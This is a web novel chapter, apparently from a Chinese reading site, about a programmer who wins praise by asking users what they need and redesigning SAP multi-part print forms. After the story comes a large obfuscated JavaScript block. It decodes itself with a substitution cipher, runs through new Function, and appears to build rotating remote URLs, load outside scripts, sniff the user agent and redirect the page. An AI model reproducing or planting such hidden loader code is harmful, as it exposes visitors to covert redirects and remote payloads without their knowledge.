关灯
护眼
字体:

第44章 最好的程序员(第1页)

章节目录保存书签

张伟最近这几天,修炼第六层节丹,搞的有点天昏地暗啊!自己给自己找的这个工作,很满意,搞定了一个大境界的突破!完成前面的几层构建!张伟觉得,可能这个结丹大圆满已经不远了啊,从字段层,数据表层,现在到业务对象层,他感觉自己这个结丹离用户操作界面,已经越来越近了!张伟觉得如果要有新的突破,可能需要找新的技术路径!虽然结出了第六层,但是张伟觉得那个spro的藏宝图,离自己还是很远的样子,从这里出发感觉找不到太多的突破口,还是先放一放!于是张伟又开始霍霍领导们了!“alix,给我点活干呗?”“强哥,给我点活干呗?”收到的回复,反正就是各种说维护啊,各种说跟进用户的需求啊!这种回复对张伟来说,结论就是没有活干!张伟眼中的活,是那种需要动脑子的啊,动动嘴巴这种不算!这是什么感觉了?就像某南方人,如果没吃上米饭,就不叫吃正餐,那就叫零食,即使吃的是面条、饺子,那也是零食不是正餐!张伟觉得,如果没有新活干,不管是技术,还是结丹道统,都无法寸进啊,必须得打破僵局才行!然后张伟来了个终极大招,直接去用户那来挖掘需求!alix不给我活干,用户也不提需求,那我就亲自上门去挖掘需求,总行吧!还真别说,这招管用!从用户的角度,发现系统都能用,也就懒得管了!然后就是张伟上门了,首先去到采购部,一通聊下来,还真被张伟挖掘了一些需求出来!比如新开了一个工厂,需要批量扩展数据,以前都是用户一个个的去手工添加、扩展!张伟发现后,给他们弄一个基于bdc的外挂程序,啪啪几下就给搞完了!用户只需要把数据准备好,用excel发给张伟,几分钟就搞定!真是用户忙到飞起,张伟就几分钟!掌握先进工具就是nb!为什么说科技是第一生产力呢!主要还是用户不知道,sap也可以开外挂啊!这个业务工厂、和采购都用到了,受益了!于是画风就变成了,用户当场感谢还不算,还上报给自己领导,然后业务部门的领导在alix那里给张伟一通的夸!最后就是,alix和用户,都对张伟一通的表扬!搞完了,张伟又到生产部,一通沟通下来,产线给张伟抱怨说,他们的那个多层彩的打印,很麻烦!一是格式很丑,比他们之前的那个excel做的,那简直是惨不忍睹、不忍直视,张伟自己看了下对比!只能说用户说的是实话!现在系统打印出来的表单,只能说信息都有!那感觉就是,同样有鼻子眼睛,构造元素也一样,一个是“如花”,一个是“秋香”!第二是多层彩打印总是串页!张伟就问,你们为什么不早说了,领料组说,反正能用,难得说了,要不是你今天来和我们聊,我都懒得说啊!以前和alix、强哥都说过,他们就说,信息全不全?都是些无伤大雅的小问题,现在忙其他的事,没时间搞!每次提都被拒绝,于是干脆就懒得提了!张伟觉得这是一个问题,一来影响使用,毕竟现在sap系统的打印表单,打印的效果很差,排版也差,造成的问题就是,不方便领料,不方便流程间单据的传递,也不方便存档,最麻烦的还是,打印一次,需要撕掉一次多层彩,然后再放一次,效率非常差!多层彩打印,是用针式打印机,比如快递单,就是一种多层彩打印,普通人就是写一个单子就ok,如果你是一个电商公司,每天要发200单快递,此时,你的快递单是连在一起的,比如每次打印20张单,是一次性打印完的!如果你的快递打印格式没调好,那么每次打印都会串页,就是需要打印的信息,本来要打印在第一个快递单上的,但是因为没有控制好打印的长度,就打印到第二张单了!为了解决这个问题,你就只能每次打印一张!这样每次打印超出的部分,就无法累计!这样就可以确保打印不串页!只要你连续打印3张,积累下来的超出打印长度,一定串页!现在产线料就是这个情况,每次只能打印一张!反正都忍了这么久了,他们也就习惯了!张伟拿着这个需求后,就去找alix,要怎么搞!alix也是终于想起这个问题了,肯定是需要优化的,当时上线,很忙,先解决那些影响主流程的事情,这种能用,只是不是好用的,就没管了,后面用户也没说了,alix干脆就忘记这个问题了!现在被张伟挖掘出来了,alix,给张伟点了一个大大的赞!于是alix,就跟张伟说,如果要解决这个问题,需要用到一个新技术,叫“sartfors”就是格式化表格,打印出来的表单就非常的漂亮了,和excel做的一模一!也可以调整多层彩的打印长宽高!,!alix给了张伟一个参考案例,和一堆的文件资料!张伟拿到后兴高采烈的就开干了!编程部分,对张伟来说,很简单,三下五除二就搞好了!但是调这个“sartfors”确实很麻烦,倒不是技术有多复杂,就是单纯的麻烦!需要各种核对位置,有时需要用卡尺来量!张伟开发这个加上学习这个新技术居然用了两天,主要是调位置太麻烦,太费时了!张伟为了让打印的结束点刚好卡在,换页的可撕扯打孔虚线上,还专门跑到仓库去,用卡尺一毫米,一毫米的量,一张一张的测试,张伟觉得就光是这个测试,就耗费了30多张多层彩打印纸吧!不过对于打印测试消耗的这点纸,用户是完全不在意,反而是看着张伟,每次测试打印效果都变的更好,对张伟的那个感激啊!完全是毫不掩饰、溢于言表啊!这就像讲相声,台上的卖力表演,台下的使劲捧场,那画风简直就是双方都爽的不行了!最终弄好后,还惊动了仓库的主管,生产部的主管,销售部的主管,这几个部门都会要用到多层彩啊!以前都是那种“如花”级别的打印单据!现在看到“秋香”级别的单据了!他们纷纷给张伟说,都给换一换!张伟满口答应!而这几大主管,明确的给张伟说,以后有啥事找他们,保证帮忙!而对于张伟来说,这都是洒洒水的事情,主要是第一个打印格式很麻烦,第一个搞定了,后面的那基本就是稀松平常、手到擒来!只需要简单改下取数逻辑,调整、或者隐藏下某些字段显示、或者位置!就搞定了!最后的4个打印格式,张伟也只用了2天!对于写程序来说,第一个搞定了,后面的就是py!主要是要知道如何py!搞定交付给他们后!大家都对张伟,那真是感激涕零啊!张伟自己都有点懵逼,不至于啊!以前给开发的那么多报表,都没那么大阵仗,搞的张伟有点不适应!张伟后面才了解到,这个有多重要!企业里,流通、签字的,都是靠单据,一套赏心悦目、清晰明了的单据,不管是对业务的交接、传递,还是单据的存档,都是至关重要的!这个单据主要是业务部门和仓库衔接在使用,仓库的大领导,是个台湾人,亲自过来给张伟表达了感谢!他说“企业业务,单据流跑顺了,就是管理顺畅了!”张伟虽然没听懂这句话,但是,张伟觉得,应该很有道理吧!后面就是因为这个小小的单据优化,张伟被各个部门表扬!alix也是沾光了!其实张伟自己觉得,这个好像没啥,最多就是4天的工作量!搞的那么大的动静!说白了,也就是一个单据打印而已!不过基于这个张伟反而对编程有了一点新的触动!一个功能是否是好功能,和程序好不好,所用技术是否高深,算法是否nb,好像不是特别的关键!最关键的是,你做到这个程序,是否能满足用户真正的需求,或者叫做能否解决用户真正的问题!即使你的程序能上天揽月、下海捉鳖,如果没有用户要解决这个问题,或者叫没有需求,对用户来说都是可有可无的!只能叫着一个程序员自己秀技术的奇技淫巧!纯粹的炫技!从用户视角来看,最好的程序员应该是啥了,张伟陷入了思考!张伟觉得,应该是到用户中去感受需求,了解需求,然后解决他们的需求,才是最好的程序员!其实用户是无法感受到,技术如何的高深,算法如何的nb,架构如何的高瞻远瞩,毕竟不是每个用户都是造原子弹的,需要那种超越天际的技术来为他们服务!绝大部分的用户,需要的仅仅只是让自己手头上,本来的工作变得更高效、快捷、方便而已!我们程序员,用自己的技术给他们的工作赋能,就够了!张伟思考到这里,他发现,好像这和自己以前对程序员的认知,是不同的路径啊!难道这又是新的修炼方向?:()凡人码农加sap加xr征服世界

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();